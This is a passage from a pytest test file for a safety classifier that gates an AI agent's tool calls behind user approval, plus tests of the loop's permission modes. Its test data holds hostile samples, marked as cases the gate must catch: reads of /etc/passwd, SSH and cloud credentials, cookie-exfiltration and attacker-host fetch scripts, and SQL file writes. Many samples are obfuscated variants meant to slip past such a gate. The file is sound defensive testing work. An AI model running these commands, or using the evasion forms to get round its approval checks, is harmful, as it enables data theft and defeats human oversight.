            "import websockets\nwebsockets.connect('ws://h')",
            True,
        ),  # websockets outbound connection
        (
            "import asyncio\nasyncio.start_unix_server(cb, '/tmp/sock')",
            True,
        ),  # asyncio unix listener
        ("import os\nos.startfile('calc.exe')", True),  # Windows startfile launches a program
        (
            "import socketserver\nsocketserver.TCPServer(('0.0.0.0', 80), H)",
            True,
        ),  # stdlib server binds a listener
        (
            "from gzip import open as gopen\ngopen('o.gz', 'w')",
            True,
        ),  # gzip open alias, write mode
        (
            "from gzip import open as gopen\ngopen('o.gz', 'rt')",
            False,
        ),  # gzip open alias, read stays safe
        (
            "open(chr(47) + 'etc/passwd').read()",
            True,
        ),  # dynamic '/' prefix forms /etc/passwd
        (
            "import os\nopen(os.sep + 'etc/passwd').read()",
            True,
        ),  # os.sep prefix forms /etc/passwd
        (
            "base = get_dir()\nopen(base + 'data/file.txt').read()",
            False,
        ),  # dynamic prefix + benign suffix stays safe
        (
            "import logging\nlogging.basicConfig(filename='o.log', filemode='w')",
            True,
        ),  # basicConfig opens a log file for write
        (
            "from logging import basicConfig\nbasicConfig(filename='o.log')",
            True,
        ),  # bare-imported basicConfig write
        (
            "import logging\nlogging.basicConfig(level=logging.INFO)",
            False,
        ),  # basicConfig without filename stays safe
        (
            "from operator import methodcaller\nw = methodcaller('write_text', 'x')\nw(Path('f'))",
            True,
        ),  # methodcaller hides a writer method
        (
            "import operator\nw = operator.methodcaller('unlink')\nw(Path('f'))",
            True,
        ),  # operator.methodcaller unlink
        (
            "from operator import methodcaller\nu = methodcaller('upper')\nu('x')",
            False,
        ),  # methodcaller of a read-only method stays safe
        (
            "import fileinput\nfor line in fileinput.input('v.txt', inplace=True):\n    pass",
            True,
        ),  # fileinput in-place rewrite
        (
            "import fileinput\nfor line in fileinput.input('v.txt'):\n    pass",
            False,
        ),  # fileinput read stays safe
        (
            "import pathlib\nP = pathlib.Path\n(P('/etc') / 'passwd').read_text()",
            True,
        ),  # qualified path-ctor alias (P = pathlib.Path)
        (
            "import pathlib\nP = pathlib.Path\n(P('/tmp') / 'x').read_text()",
            False,
        ),  # benign qualified path-ctor alias stays safe
        (
            "import numpy as np\ndef f(s=np.save):\n    s('o.npy', a)\nf()",
            True,
        ),  # attribute writer captured as a default arg
        (
            "from functools import partial\ndef f(w=partial(open, mode='w')):\n    w('o')\nf()",
            True,
        ),  # partial(open) captured as a default arg
        (
            "import numpy as np\ndef f(s=np.mean):\n    s(a)\nf()",
            False,
        ),  # benign attribute default stays safe
        (
            "open('/et' + chr(99) + '/passwd').read()",
            True,
        ),  # dynamic char splitting a sensitive name
        (
            "open(a + '/' + b).read()",
            False,
        ),  # segment-spanning dynamic path stays safe
        ("list(map(open, ['o.txt'], ['w']))", True),  # open handed to map()
        (
            "import numpy as np\nlist(map(np.save, ['o.npy'], [arr]))",
            True,
        ),  # writer handed to map()
        ("list(map(len, ['abc']))", False),  # benign map() stays safe
        (
            "import itertools\nlist(itertools.starmap(open, [('out', 'w')]))",
            True,
        ),  # qualified higher-order invoker (itertools.starmap)
        (
            "import functools\nfunctools.reduce(open, xs)",
            True,
        ),  # qualified functools.reduce with a writer
        (
            "import itertools\nlist(itertools.starmap(len, xs))",
            False,
        ),  # benign qualified invoker stays safe
        (
            "import itertools\nlist(itertools.chain(xs, ys))",
            False,
        ),  # non-invoker itertools helper stays safe
        (
            "m = map\nlist(m(open, ['o.txt'], ['w']))",
            True,
        ),  # aliased invoker (m = map) handed open()
        (
            "from itertools import starmap as sm\nlist(sm(open, [('out', 'w')]))",
            True,
        ),  # imported-as invoker alias handed open()
        (
            "f = filter\nlist(f(open, ['a']))",
            True,
        ),  # aliased filter() handed open()
        (
            "m = map\nlist(m(str, [1, 2]))",
            False,
        ),  # aliased invoker with a benign callable stays safe
        ("spec.loader.exec_module(module)", True),  # runs a module's code
        ("spec.loader.get_data('x')", False),  # loader read stays safe
        (
            "import zipfile\nzipfile.ZipFile('a.zip').extractall('out')",
            True,
        ),  # extractall writes arbitrary files
        (
            "import zipfile\nzipfile.ZipFile('a.zip').extract('member', 'out')",
            True,
        ),  # single-member extract still writes to disk (zip-slip)
        (
            "import tarfile\ntarfile.open('a.tar').extract('m', 'out')",
            True,
        ),  # tarfile single-member extract writes to disk
        (
            "import zipfile\nzipfile.ZipFile('a.zip').read('n')",
            False,
        ),  # archive in-memory read stays safe
        (
            "import zipfile\nzipfile.ZipFile('a.zip').namelist()",
            False,
        ),  # archive read stays safe
        ("import ensurepip\nensurepip.bootstrap()", True),  # installs pip
        ("import venv\nvenv.create('env')", True),  # builds an environment
        ("import pydoc\npydoc.writedoc('math')", True),  # writes name.html
        (
            "print(open('/home/alice/.cache/huggingface/token').read())",
            True,
        ),  # reads the Hugging Face login token
        (
            "open('/home/alice/.cache/huggingface/hub/models--x/config.json').read()",
            False,
        ),  # HF model cache is not a credential
        ("import numpy as np\nnp.mean([1, 2])", False),  # a benign numpy read stays safe
        (
            "from pathlib import Path\nP = Path\n(P('/etc') / 'passwd').read_text()",
            True,
        ),  # Path aliased
        (
            "import os\nj = os.path.join\nopen(j('/etc', 'passwd')).read()",
            True,
        ),  # os.path.join aliased
        (
            "from pathlib import Path\nP = Path\n(P('/tmp') / 'x').read_text()",
            False,
        ),  # benign alias
        (
            "from pathlib import Path\nPath('/etc').joinpath('passwd').read_text()",
            True,
        ),  # pathlib joinpath
        (
            "from pathlib import Path\nPath('data').joinpath('x.txt').read_text()",
            False,
        ),  # relative joinpath stays safe
        (
            "from pathlib import Path\nPath('/etc/anything').with_name('passwd').read_text()",
            True,
        ),  # with_name rewrites the final segment to a secret
        (
            "from pathlib import Path\nPath('/etc/x').with_stem('passwd').read_text()",
            True,
        ),  # with_stem rewrites the stem to a secret
        (
            "from pathlib import Path\nPath('/etc/passwd.bak').with_suffix('').read_text()",
            True,
        ),  # with_suffix drops the suffix onto a secret
        (
            "from pathlib import Path\nPath('/tmp/a').with_name('b.txt').read_text()",
            False,
        ),  # benign with_name in the sandbox stays safe
        (
            "from pathlib import Path\nPath('report.txt').with_suffix('.md').read_text()",
            False,
        ),  # benign with_suffix stays safe
        ("base, leaf = ('/etc', 'passwd')\nopen(base + '/' + leaf).read()", True),
        # destructured string literals fold into the sensitive path
        ("d, f = ('/etc', 'passwd')\nopen('/'.join([d, f])).read()", True),
        # destructured literals reused through str.join
        ("base, leaf = ('/tmp', 'x')\nopen(base + '/' + leaf).read()", False),
        # benign destructured literals stay safe
        ("open(b'/etc/passwd').read()", True),  # bytes path literal
        ("open(b'data.txt').read()", False),  # benign bytes literal stays safe
        (
            "from pathlib import Path\n(Path.cwd().parent / 'other' / 'notes').read_text()",
            True,
        ),  # pathlib parent escapes the sandbox
        (
            "from pathlib import Path\n(Path('data') / 'notes').read_text()",
            False,
        ),  # in-sandbox pathlib read stays safe
        ("import glob\nopen(glob.glob('/e??/passwd')[0]).read()", True),  # python glob to secret
        ("import glob\nfor f in glob.glob('*.py'):\n    print(f)", False),  # benign glob stays safe
        (
            "import glob\nbase = '/e??'\nopen(glob.glob(base + '/passwd')[0]).read()",
            True,
        ),  # glob pattern folded from a literal variable
        ("from os.path import join\nopen(join('/etc', 'passwd')).read()", True),  # bare join alias
        ("from os.path import join\nopen(join('data', 'x.txt')).read()", False),  # benign bare join
        ("from numpy import save\nsave('out.npy', arr)", True),  # writer imported as a bare name
        ("from numpy import mean\nmean(arr)", False),  # benign bare import stays safe
        (
            "from pathlib import Path as P\n(P('/etc') / 'passwd').read_text()",
            True,
        ),  # aliased pathlib constructor
        (
            "from pathlib import Path as P\n(P('data') / 'x').read_text()",
            False,
        ),  # aliased ctor with a relative path stays safe
        (
            "from pathlib import PosixPath\n(PosixPath('/etc') / 'passwd').read_text()",
            True,
        ),  # concrete PosixPath constructor is folded too
        (
            "import pathlib\n(pathlib.PosixPath('/etc') / 'passwd').read_text()",
            True,
        ),  # qualified concrete constructor
        (
            "from pathlib import WindowsPath as W\n(W('/etc') / 'passwd').read_text()",
            True,
        ),  # aliased concrete Windows constructor
        (
            "from pathlib import PosixPath\n(PosixPath('data') / 'x').read_text()",
            False,
        ),  # concrete ctor with a relative path stays safe
        (
            "base = '/etc'\nopen(base + '/passwd').read()\nbase = 'data'",
            True,
        ),  # a later reassignment must not mask the earlier sensitive read
        (
            "base = 'data'\nopen(base + '/x').read()\nbase = '/etc'",
            True,
        ),  # any reassignment of a path var fails closed
        (
            "base = 'data'\nopen(base + '/x').read()",
            False,
        ),  # a single benign literal path var stays safe
        (
            "from zipfile import ZipFile\nZipFile('out.zip', 'w')",
            True,
        ),  # bare archive constructor with write mode
        (
            "from tarfile import TarFile as T\nT('a.tar', 'w')",
            True,
        ),  # aliased bare archive constructor
        (
            "from zipfile import ZipFile\nZipFile('in.zip')",
            False,
        ),  # bare archive constructor reading stays safe
        (
            "import os\ng = getattr\nrm = g(os, 'remove')\nrm('file')",
            True,
        ),  # dynamic lookup aliased through a getattr alias
        (
            "import os\ng = getattr\nn = g(os, 'name')\nprint(n)",
            False,
        ),  # resolving (not calling) through a getattr alias stays safe
        (
            "from functools import partial\nw = partial(open, mode='w')\nw('out.txt')",
            True,
        ),  # partial wrapping open hides the write mode
        (
            "import os\nfrom functools import partial\nw = partial(os.remove)\nw('f')",
            True,
        ),  # partial wrapping a mutating callable
        (
            "from functools import partial\np = partial(print, end='')\np('hi')",
            False,
        ),  # partial wrapping a safe callable stays safe
        (
            "open(*('result.txt', 'w')).write('x')",
            True,
        ),  # *args splat can hide the write mode
        ("open(*args).write('x')", True),  # dynamic *args splat fails closed
        ("__builtins__.__import__('subprocess')", True),  # __builtins__ dynamic import
        (
            "import builtins\nbuiltins.__import__('os')",
            True,
        ),  # builtins.__import__ dynamic import
        (
            "import builtins\nbuiltins.print(builtins.len([1]))",
            False,
        ),  # benign builtins.print/len stay safe
        (
            "import os\nopen(f'/proc/{os.getppid()}/fd/3').read()",
            True,
        ),  # f-string procfs fd symlink read
        # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
        # files over the network (and write an on-disk cache), so they ask.
        (
            "import huggingface_hub\nhuggingface_hub.hf_hub_download('r', 'f')",
            True,
        ),  # hub file download over the network
        (
            "from huggingface_hub import hf_hub_download\nhf_hub_download('r', 'f')",
            True,
        ),  # bare-imported hub file download
        (
            "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
            True,
        ),  # bare-imported repo snapshot download
        ("import statistics\nstatistics.mean([1, 2])", False),  # benign stdlib import stays safe
        # A concrete write callable handed to a user-defined helper that can
        # invoke it bypasses the direct open()/writer site, so it asks.
        (
            "def run(fn): fn('out.txt', 'w').write('x')\nrun(open)",
            True,
        ),  # open passed into a helper that calls it
        (
            "from numpy import save\ndef h(fn): fn('o.npy', a)\nh(save)",
            True,
        ),  # writer alias passed into a helper
        (
            "import numpy as np\ndef run(fn): fn('o.npy', a)\nrun(np.save)",
            True,
        ),  # attribute writer passed into a helper
        ("def run(fn): return fn('x')\nrun(len)", False),  # benign callable arg stays safe
    ],
)
def test_python_classifier(code, unsafe):
    assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe


def test_builtin_readonly_tools_are_safe():
    assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
    assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
    assert is_potentially_unsafe_tool_call("render_html", {}) is False


def test_render_html_gated_only_when_networked():
    # A static canvas auto-runs; one whose HTML/JS reaches the network asks.
    def rh(code):
        return is_potentially_unsafe_tool_call("render_html", {"code": code})

    assert rh("<h1>Report</h1><p>Summary</p>") is False
    assert (
        rh("<div id=c></div><script>document.getElementById('c').textContent='x'</script>") is False
    )
    assert rh("<svg xmlns='http://www.w3.org/2000/svg'><circle r=4/></svg>") is False
    assert rh("<img src='./local.png'>") is False
    assert rh("<img src=x onerror='fetch(1)'>") is True
    assert rh("<script>new WebSocket('wss://x')</script>") is True
    assert rh("<script src='https://cdn/x.js'></script>") is True
    assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
    assert rh("<img src='https://evil/pixel.png'>") is True
    # Worker / SharedWorker constructors run an off-thread script the scan cannot
    # see (a module worker from a CORS CDN, or a blob/same-origin worker that
    # fetches/importScripts) under worker-src http: https: blob:, so they ask.
    assert rh("<script>new Worker('https://evil/w.js')</script>") is True
    assert rh("<script>new Worker('https://cdn/x.mjs', {type: 'module'})</script>") is True
    assert rh("<script>new SharedWorker('https://evil/w.js')</script>") is True
    assert rh("<script>var myWorker = 1; console.log(myWorker)</script>") is False  # not a ctor
    assert rh("<script>new WorkerPool(4)</script>") is False  # unrelated class, not a real Worker
    # Resource-loading forms beyond a direct fetch also reach the network.
    assert rh("<style>body{background:url(https://evil/x.png)}</style>") is True
    assert rh("<style>@import 'https://evil/x.css'</style>") is True
    assert rh("<img srcset='https://evil/x.png 1x'>") is True
    assert rh("<img src='/api/leak?d=1'>") is True  # root-relative resolves to origin
    assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True  # protocol-relative
    # Self-navigation sinks exfiltrate by navigating the frame away.
    assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
    assert rh("<script>location.assign('https://x')</script>") is True
    assert rh("<script>location.replace('https://x')</script>") is True
    assert rh("<script>window.open('https://x')</script>") is True
    assert rh("<script>window.location='https://x'</script>") is True
    assert rh("<script>location.reload()</script>") is False  # reload is not navigation
    assert rh("<script>history.back()</script>") is False
    # Obfuscated egress: a block comment splitting fetch(, or bracket access.
    assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
    assert rh("<script>window['fetch']('https://example.com')</script>") is True
    # A computed bracket key spliced from string fragments on a global host object.
    assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
    assert rh("<script>self['open' + '']('https://x')</script>") is True
    # A computed key on a plain object (not a global host) stays a static canvas.
    assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
    assert rh("<script>/* just a note */ var x = 1</script>") is False  # comment only
    # A meta-refresh with a url navigates the frame to an external origin.
    assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
    assert rh("<meta http-equiv='refresh' content='0; url=https://x'>") is True
    assert rh('<meta http-equiv="refresh" content="30">') is False  # self-reload, no url
    assert rh('<meta charset="utf-8"><h1>Hi</h1>') is False  # ordinary meta stays safe


def test_unknown_tools_fail_closed():
    assert is_potentially_unsafe_tool_call("mystery_tool", {}) is True


def test_is_always_safe_tool():
    from core.inference.tools import is_always_safe_tool
    for name in ("web_search", "search_knowledge_base"):
        assert is_always_safe_tool(name) is True
    # render_html is no longer unconditionally safe: a networked canvas can prompt,
    # which cannot be judged before its arguments stream.
    for name in ("python", "terminal", "mystery_tool", "mcp__srv__read", "render_html"):
        assert is_always_safe_tool(name) is False


@pytest.mark.parametrize(
    ("tool", "unsafe"),
    [
        ("get_weather", False),
        ("list_files", False),
        ("search", False),
        ("send_email", True),
        ("create_issue", True),
        ("delete_row", True),
        ("get_or_create_issue", True),  # mutating verb overrides read prefix
        ("read_and_delete_file", True),
        ("find_and_update_row", True),
        ("get_and_commit_changes", True),  # commit/save/archive are mutating
        ("read_and_save_file", True),
        ("list_and_archive", True),
        ("list_and_clone_repo", True),  # clone/checkout/comment are mutating
        ("fetch_and_comment_issue", True),
        ("get_and_checkout_branch", True),
        ("read_and_append_file", True),  # append/prepend are mutating
        ("prepend_line", True),
        ("get_and_upsert_row", True),  # upsert/assign are mutating
        ("list_and_assign_issue", True),
        ("read_and_copy_file", True),  # copy-style verbs create/overwrite state
        ("get_and_copy_resource", True),
        ("read_and_duplicate_entry", True),
        ("fetch_and_download_asset", True),  # download writes local state
        ("list_and_export_data", True),  # import/export/backup/restore/snapshot
        ("get_and_snapshot_volume", True),
        ("get_and_mark_read", True),  # mark/subscribe change external state
        ("get_and_subscribe", True),
        ("list_and_unsubscribe", True),
        ("get_and_reply_email", True),  # reply/notify send/change external state
        ("list_and_notify_users", True),
        ("read_secret", True),  # credential noun: a read that discloses a secret
        ("list_tokens", True),
        ("get_credentials", True),
        ("fetch_api_key", True),  # scoped *_key noun
        ("read_access_key", True),
        ("get_password", True),
        ("read_passphrase", True),
        ("read_report", False),  # plain read stays safe
        ("get_primary_key", False),  # a schema key is not a credential
        ("search_keyboard_shortcuts", False),  # 'key' inside another word stays safe
        ("list_bookmarks", False),  # 'mark' substring in a token stays safe
        ("list_notifications", False),  # 'notify' is a different token than 'notifications'
    ],
)
def test_mcp_classifier(tool, unsafe):
    name = f"{MCP_TOOL_PREFIX}srv1__{tool}"
    assert is_potentially_unsafe_tool_call(name, {}) is unsafe


@pytest.mark.parametrize(
    ("args", "unsafe"),
    [
        ({"path": "/etc/passwd"}, True),  # read-named tool at a credential path
        ({"path": "../../.ssh/id_rsa"}, True),
        ({"nested": {"file": "~/.aws/credentials"}}, True),
        ({"name": "OPENAI_API_KEY"}, True),  # explicit credential env-var read
        ({"name": "AWS_SECRET_ACCESS_KEY"}, True),
        ({"key": "DATABASE_PASSWORD"}, True),
        (
            {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"},
            True,
        ),  # AWS instance-metadata host
        (
            {"url": "http://metadata.google.internal/computeMetadata/v1/"},
            True,
        ),  # GCP metadata host
        ({"path": "notes.txt"}, False),  # ordinary path stays safe
        ({"path": "data/report.csv"}, False),
        ({"name": "PATH"}, False),  # a non-secret env var stays safe
        ({"name": "HOME"}, False),
        ({"url": "https://example.com/api"}, False),  # ordinary URL stays safe
        ({"url": "http://localhost:8080/health"}, False),  # localhost app stays safe
    ],
)
def test_mcp_sensitive_arguments(args, unsafe):
    name = f"{MCP_TOOL_PREFIX}fs__read_file"
    assert is_potentially_unsafe_tool_call(name, args) is unsafe


@pytest.mark.parametrize(
    ("args", "unsafe"),
    [
        ({"query": "DELETE FROM runs"}, True),  # read-named tool, mutating query
        ({"sql": "DROP TABLE users"}, True),
        ({"query": "UPDATE t SET x=1"}, True),
        ({"query": "INSERT INTO t VALUES (1)"}, True),
        ({"query": "SELECT * FROM runs"}, False),  # read query stays safe
        ({"query": "how to delete old files"}, False),  # NL text with 'delete' stays safe
        ({"query": "find the created_at column"}, False),  # 'created' substring stays safe
        ({"query": "DELETE/**/FROM runs"}, True),  # inline SQL comment as whitespace
        ({"query": "UPDATE/**/t SET x=1"}, True),
        ({"query": "DROP/**/TABLE users"}, True),
        ({"query": "SELECT * FROM runs -- delete later"}, False),  # trailing comment stays safe
        ({"query": "COPY users FROM '/tmp/u.csv'"}, True),  # bulk load writes the table
        ({"query": "COPY users (id, name)\nFROM STDIN"}, True),  # multiline COPY FROM
        ({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True),  # COPY TO writes a server file
        ({"query": "SELECT copy_count FROM t"}, False),  # 'copy' substring column stays safe
        ({"query": "mutation { deleteIssue(id: 1) }"}, True),  # GraphQL mutation
        ({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True),  # named GraphQL mutation
        ({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True),  # comment before body
        ({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True),  # comment before name
        ({"query": "query { issue(id: 1) { title } }"}, False),  # GraphQL read query stays safe
        ({"query": "{ issue(id: 1) { title } }"}, False),  # shorthand GraphQL query stays safe
        ({"query": "query # note\n { issue(id: 1) }"}, False),  # commented read query stays safe
        ({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True),  # DDL with a modifier
        ({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True),  # DDL with UNIQUE
        ({"query": "CREATE TEMP TABLE t (id int)"}, True),  # DDL with TEMP
        ({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True),  # materialized view DDL
        ({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True),  # function DDL
        ({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True),  # persists server config
        ({"query": "alter system reset all"}, True),  # ALTER SYSTEM RESET
        ({"query": "SELECT * FROM system_logs"}, False),  # 'system' as a table name stays safe
        ({"query": "SELECT * FROM created_view"}, False),  # 'create' substring stays safe
        ({"query": "CALL delete_all_users()"}, True),  # stored procedure invocation
        ({"query": "EXEC purge_queue"}, True),  # EXEC procedure
        ({"query": "EXECUTE sp_drop"}, True),  # EXECUTE procedure
        ({"query": "VACUUM INTO 'backup.db'"}, True),  # VACUUM rewrites the database
        ({"query": "please call me back later"}, False),  # NL 'call' stays safe
        ({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True),  # attaches a database file
        ({"query": "DETACH DATABASE x"}, True),  # detaches a database
        ({"query": "PRAGMA user_version = 42"}, True),  # write-form PRAGMA
        ({"query": "PRAGMA journal_mode=WAL"}, True),  # write-form PRAGMA (no spaces)
        ({"query": "PRAGMA foreign_keys(0)"}, True),  # call-form PRAGMA write
        ({"query": "SELECT load_extension('/tmp/evil.so')"}, True),  # loads native code
        ({"query": "PRAGMA journal_mode"}, False),  # read-form PRAGMA stays safe
        ({"query": "can you attach the report to the email"}, False),  # NL 'attach' stays safe
        ({"query": "ATTACH '/tmp/x.db' AS x"}, True),  # ATTACH without DATABASE keyword
        ({"query": "PRAGMA main.user_version = 1"}, True),  # schema-qualified write PRAGMA
        ({"query": "attach it as draft"}, False),  # NL 'attach ... as' stays safe
        ({"query": "DROP FUNCTION f()"}, True),  # DROP of a non-table object
        ({"query": "ALTER INDEX idx RENAME TO idx2"}, True),  # ALTER of a non-table object
        ({"query": "DROP MATERIALIZED VIEW mv"}, True),  # DROP with a modifier
        ({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True),  # ALTER USER mutates
        ({"query": "SELECT dropped_at FROM t"}, False),  # 'drop' substring column stays safe
        ({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True),  # directive GraphQL mutation
        (
            {"query": "query Q @cached { issue(id: 1) { title } }"},
            False,
        ),  # directive GraphQL read stays safe
        ({"query": 'UPDATE "users" SET admin=1'}, True),  # double-quoted UPDATE target
        ({"query": "UPDATE public.users SET admin=1"}, True),  # schema-qualified UPDATE
        ({"query": "UPDATE ONLY public.users SET admin=1"}, True),  # ONLY-qualified UPDATE
        ({"query": "UPDATE `users` SET admin=1"}, True),  # backtick-quoted UPDATE
        ({"query": "UPDATE [users] SET admin=1"}, True),  # bracket-quoted UPDATE
        ({"query": "please update the documentation set"}, False),  # NL 'update ... set' stays safe
        ({"query": "SELECT pg_terminate_backend(123)"}, True),  # state-changing SQL function
        ({"query": "SELECT setval('s', 1)"}, True),  # sequence mutation function
        ({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True),  # server-side file write
        ({"query": "SELECT lo_export(123, '/tmp/p')"}, True),  # large-object export to a file
        ({"query": "SELECT setval_col FROM t"}, False),  # 'setval' column prefix stays safe
        (
            {"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"},
            True,
        ),  # INTO OUTFILE write
        ({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True),  # INTO DUMPFILE write
        (
            {"query": "SELECT count(*) INTO cnt FROM t"},
            False,
        ),  # PL/pgSQL SELECT INTO var stays safe
        ({"query": "REFRESH MATERIALIZED VIEW mv"}, True),  # materialized view rewrite
        ({"query": "REINDEX INDEX idx"}, True),  # index rebuild
        ({"query": "REINDEX TABLE t"}, True),  # table reindex
        ({"query": "SELECT refresh_count FROM t"}, False),  # 'refresh' column stays safe
        ({"query": "please refresh the page"}, False),  # NL 'refresh' stays safe
        ({"query": "COMMENT ON TABLE users IS 'owned'"}, True),  # catalog metadata write
        ({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True),  # explicit lock
        ({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True),  # security label write
        ({"query": "CREATE POLICY p ON accounts USING (true)"}, True),  # row-security policy DDL
        ({"query": "SELECT comment FROM t"}, False),  # 'comment' column stays safe
        ({"query": "SELECT * FROM locks"}, False),  # 'locks' table stays safe
        ({"query": "SELECT nextval('billing_seq')"}, True),  # sequence advance mutates
        ({"query": "SELECT pg_advisory_lock(42)"}, True),  # advisory lock changes state
        ({"query": "SELECT pg_notify('jobs', 'wake')"}, True),  # server-side notification
        ({"query": "SELECT set_config('x', 'y', false)"}, True),  # session config write
        ({"query": "SELECT nextval_col FROM t"}, False),  # 'nextval' column prefix stays safe
        ({"query": "TRUNCATE users"}, True),  # multi-char table name (bare TRUNCATE)
        ({"query": "TRUNCATE TABLE accounts"}, True),  # multi-char TRUNCATE TABLE
        ({"query": 'TRUNCATE TABLE "users"'}, True),  # quoted TRUNCATE target
        ({"query": "TRUNCATE accounts RESTART IDENTITY"}, True),  # TRUNCATE with options
        ({"query": "SELECT truncate_log FROM t"}, False),  # 'truncate' column stays safe
        ({"query": "UPDATE users AS u SET admin=1"}, True),  # aliased UPDATE target (AS)
        ({"query": 'UPDATE "users" AS u SET x=1'}, True),  # quoted+aliased UPDATE
        ({"query": "UPDATE public.users AS u SET x=1"}, True),  # schema-qualified aliased UPDATE
        ({"query": "SELECT * FROM users AS u"}, False),  # aliased SELECT stays safe
        ({"query": "please update the documentation set"}, False),  # NL, no AS, stays safe
        ({"query": "GRANT SELECT ON t TO u"}, True),  # privilege grant (multi-word)
        ({"query": "REVOKE ALL ON t FROM u"}, True),  # privilege revoke (multi-word)
        ({"query": "SELECT * FROM grants"}, False),  # 'grants' table stays safe
        ({"url": "http://x", "method": "DELETE"}, True),  # mutating HTTP verb arg
        ({"method": "POST"}, True),
        ({"verb": "PUT"}, True),  # alternate method-key name
        ({"method": "GET"}, False),  # read HTTP verb stays safe
        ({"method": "HEAD"}, False),
    ],
)
def test_mcp_mutating_arguments(args, unsafe):
    name = f"{MCP_TOOL_PREFIX}db__query_database"
    assert is_potentially_unsafe_tool_call(name, args) is unsafe


# ── loop behavior ───────────────────────────────────────────────────

_DEFAULT_TOOLS = [
    {"type": "function", "function": {"name": "python"}},
    {"type": "function", "function": {"name": "web_search"}},
]


class _FakeExecuteTool:
    def __init__(self):
        self.calls = []
        self.disable_sandbox_seen = []

    def __call__(
        self,
        name,
        arguments,
        *,
        cancel_event = None,
        timeout = None,
        session_id = None,
        thread_id = None,
        rag_scope = None,
        disable_sandbox = False,
    ):
        self.calls.append((name, arguments))
        self.disable_sandbox_seen.append(disable_sandbox)
        return f"RESULT[{name}]"


def _tool_call(name, args_json):
    return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'


def _multi_turn(turns):
    turn_iter = iter(turns)

    def _gen(_messages):
        try:
            yield next(turn_iter)
        except StopIteration:
            return

    return _gen


def _drive(turns, decisions, **loop_kwargs):
    """Run the loop, resolving each gated tool_start with the next decision."""
    decision_iter = iter(decisions)
    exec_fn = _FakeExecuteTool()
    # A per-call session id so a leaked pending approval from another test can
    # never collide with this run's approval registry entries.
    session = f"{_SESSION}-{uuid.uuid4().hex}"
    gen = run_safetensors_tool_loop(
        single_turn = _multi_turn(turns),
        messages = [{"role": "user", "content": "hi"}],
        tools = _DEFAULT_TOOLS,
        execute_tool = exec_fn,
        session_id = session,
        **loop_kwargs,
    )
    events = []
    for ev in gen:
        events.append(ev)
        if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"):
            resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session)
    return events, exec_fn


def _tool_starts(events):
    return [e for e in events if e["type"] == "tool_start"]


def _diag(events, exec_fn):
    """A compact dump of what the loop actually did, attached to the loop-driving
    assertions so a full-suite-only failure on CI (which does not reproduce when
    the file runs alone) reports the real event stream instead of a bare diff."""
    return (
        f"calls={exec_fn.calls} sandbox_seen={exec_fn.disable_sandbox_seen} "
        f"events={[(e.get('type'), e.get('awaiting_confirmation'), e.get('tool_name')) for e in events]}"
    )


def test_auto_mode_does_not_gate_safe_calls():
    events, exec_fn = _drive(
        [_tool_call("python", '{"code": "print(1)"}'), "final"],
        [],
        confirm_tool_calls = True,
        permission_mode = "auto",
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
    assert starts[0]["approval_id"] == ""
    assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn)
    assert exec_fn.disable_sandbox_seen == [False], _diag(
        events, exec_fn
    )  # sandbox stays on in auto


def test_auto_mode_gates_unsafe_calls():
    events, exec_fn = _drive(
        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
        ["allow"],
        confirm_tool_calls = True,
        permission_mode = "auto",
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is True, _diag(events, exec_fn)
    assert starts[0]["approval_id"]
    assert len(exec_fn.calls) == 1, _diag(events, exec_fn)
    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)


def test_ask_mode_gates_even_safe_calls():
    events, _ = _drive(
        [_tool_call("python", '{"code": "print(1)"}'), "final"],
        ["allow"],
        confirm_tool_calls = True,
        permission_mode = "ask",
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is True


def test_unset_mode_behaves_as_ask():
    events, _ = _drive(
        [_tool_call("python", '{"code": "print(1)"}'), "final"],
        ["allow"],
        confirm_tool_calls = True,
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is True


def test_off_mode_never_gates_and_keeps_sandbox():
    # "Off": no prompts even for unsafe calls, but the sandbox stays on.
    events, exec_fn = _drive(
        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
        [],
        confirm_tool_calls = True,  # off must win over a stray confirm flag
        permission_mode = "off",
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
    assert starts[0]["approval_id"] == ""
    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)


